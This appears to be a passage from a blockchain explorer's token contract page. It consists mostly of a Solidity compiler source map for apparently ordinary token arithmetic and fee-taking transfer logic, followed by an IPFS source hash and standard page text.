7877:11;7857:19;:32::i;:::-;-1:-1:-1;;;;;7839:15:0;;;;;;;:9;:15;;;;;;:50;;;;7916:13;;;;;;;:30;;7934:11;7916:17;:30::i;:::-;-1:-1:-1;;;;;7900:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7964:30;;;;;;;;;;7982:11;1283:25:1;;1271:2;1256:18;;1137:177;1773:283:0;1831:7;1855:1;1860;1855:6;1851:47;;-1:-1:-1;1885:1:0;1878:8;;1851:47;1908:9;1920:5;1924:1;1920;:5;:::i;:::-;1908:17;-1:-1:-1;1967:1:0;1958:5;1962:1;1908:17;1958:5;:::i;:::-;:10;1936:93;;;;-1:-1:-1;;;1936:93:0;;12307:2:1;1936:93:0;;;12289:21:1;12346:2;12326:18;;;12319:30;12385:34;12365:18;;;12358:62;-1:-1:-1;;;12436:18:1;;;12429:31;12477:19;;1936:93:0;12105:397:1;1936:93:0;2047:1;1773:283;-1:-1:-1;;;1773:283:0:o;2064:132::-;2122:7;2149:39;2153:1;2156;2149:39;;;;;;;;;;;;;;;;;:3;:39::i;12426:100::-;12483:7;12512:1;12508;:5;12507:11;;12517:1;12507:11;;;-1:-1:-1;12515:1:0;12426:100;-1:-1:-1;12426:100:0:o;11361:299::-;11514:15;11530:46;11548:4;11553:11;11566:9;11530:17;:46::i;:::-;11514:62;-1:-1:-1;11587:65:0;11607:4;11612:2;11514:62;11625:26;:11;11641:9;11625:15;:26::i;:::-;11587:19;:65::i;:::-;11503:157;11361:299;;;;:::o;1431:136::-;1489:7;1516:43;1520:1;1523;1516:43;;;;;;;;;;;;;;;;;:3;:43::i;1207:216::-;1265:7;;1297:5;1301:1;1297;:5;:::i;:::-;1285:17;;1340:1;1335;:6;;1313:83;;;;-1:-1:-1;;;1313:83:0;;12709:2:1;1313:83:0;;;12691:21:1;12748:2;12728:18;;;12721:30;12787:29;12767:18;;;12760:57;12834:18;;1313:83:0;12507:351:1;2204:189:0;2290:7;2325:12;2318:5;2310:28;;;;-1:-1:-1;;;2310:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2349:9:0;2361:5;2365:1;2361;:5;:::i;12003:413::-;12150:10;;12103:7;;;;-1:-1:-1;;;;;12150:10:0;;;12141:19;;;;:60;;12176:8;;:25;;12189:11;12176:12;:25::i;:::-;12141:60;;;12163:11;12141:60;12123:78;-1:-1:-1;12216:13:0;;12212:172;;12291:4;12273:24;;;;:9;:24;;;;;;:39;;12302:9;12273:28;:39::i;:::-;12264:4;12246:24;;;;:9;:24;;;;;;;:66;;;;12332:40;;-1:-1:-1;;;;;12332:40:0;;;;;;;12362:9;1283:25:1;;1271:2;1256:18;;1137:177;12332:40:0;;;;;;;;12212:172;12401:7;12003:413;-1:-1:-1;;;;12003:413:0:o;11668:327::-;-1:-1:-1;;;;;11847:15:0;;;;;;:9;:15;;;;;;:31;;11867:10;11847:19;:31::i;:::-;-1:-1:-1;;;;;11829:15:0;;;;;;;:9;:15;;;;;;:49;;;;11905:13;;;;;;;:32;;11923:13;11905:17;:32::i;:::-;-1:-1:-1;;;;;11889:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11955:32;;;;;;;;;;11973:13;1283:25:1;;1271:2;1256:18;;1137:177;11955:32:0;;;;;;;;11668:327;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2229:247::-;2288:6;2341:2;2329:9;2320:7;2316:23;2312:32;2309:52;;;2357:1;2354;2347:12;2309:52;2396:9;2383:23;2415:31;2440:5;2415:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;5324:251::-;5394:6;5447:2;5435:9;5426:7;5422:23;5418:32;5415:52;;;5463:1;5460;5453:12;5415:52;5495:9;5489:16;5514:31;5539:5;5514:31;:::i;6493:456::-;6581:6;6589;6597;6650:2;6638:9;6629:7;6625:23;6621:32;6618:52;;;6666:1;6663;6656:12;6618:52;-1:-1:-1;;6711:16:1;;6817:2;6802:18;;6796:25;6913:2;6898:18;;;6892:25;6711:16;;6796:25;;-1:-1:-1;6892:25:1;6493:456;-1:-1:-1;6493:456:1:o;7233:277::-;7300:6;7353:2;7341:9;7332:7;7328:23;7324:32;7321:52;;;7369:1;7366;7359:12;7321:52;7401:9;7395:16;7454:5;7447:13;7440:21;7433:5;7430:32;7420:60;;7476:1;7473;7466:12;9897:125;9962:9;;;9983:10;;;9980:36;;;9996:18;;:::i;10382:135::-;10421:3;10442:17;;;10439:43;;10462:18;;:::i;:::-;-1:-1:-1;10509:1:1;10498:13;;10382:135::o;10522:128::-;10589:9;;;10610:11;;;10607:37;;;10624:18;;:::i;10787:127::-;10848:10;10843:3;10839:20;10836:1;10829:31;10879:4;10876:1;10869:15;10903:4;10900:1;10893:15;10919:959;11181:4;11229:3;11218:9;11214:19;11260:6;11249:9;11242:25;11303:6;11298:2;11287:9;11283:18;11276:34;11346:3;11341:2;11330:9;11326:18;11319:31;11370:6;11405;11399:13;11436:6;11428;11421:22;11474:3;11463:9;11459:19;11452:26;;11513:2;11505:6;11501:15;11487:29;;11534:1;11544:195;11558:6;11555:1;11552:13;11544:195;;;11623:13;;-1:-1:-1;;;;;11619:39:1;11607:52;;11688:2;11714:15;;;;11679:12;;;;11655:1;11573:9;11544:195;;;-1:-1:-1;;;;;;;11795:32:1;;;;11790:2;11775:18;;11768:60;-1:-1:-1;;11859:3:1;11844:19;11837:35;11756:3;10919:959;-1:-1:-1;;;10919:959:1:o;11883:217::-;11923:1;11949;11939:132;;11993:10;11988:3;11984:20;11981:1;11974:31;12028:4;12025:1;12018:15;12056:4;12053:1;12046:15;11939:132;-1:-1:-1;12085:9:1;;11883:217::o

Swarm Source

ipfs://2316f35955b7510fedefc2f3af87503c0ee49c696231fd4a4906220dedf2585f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.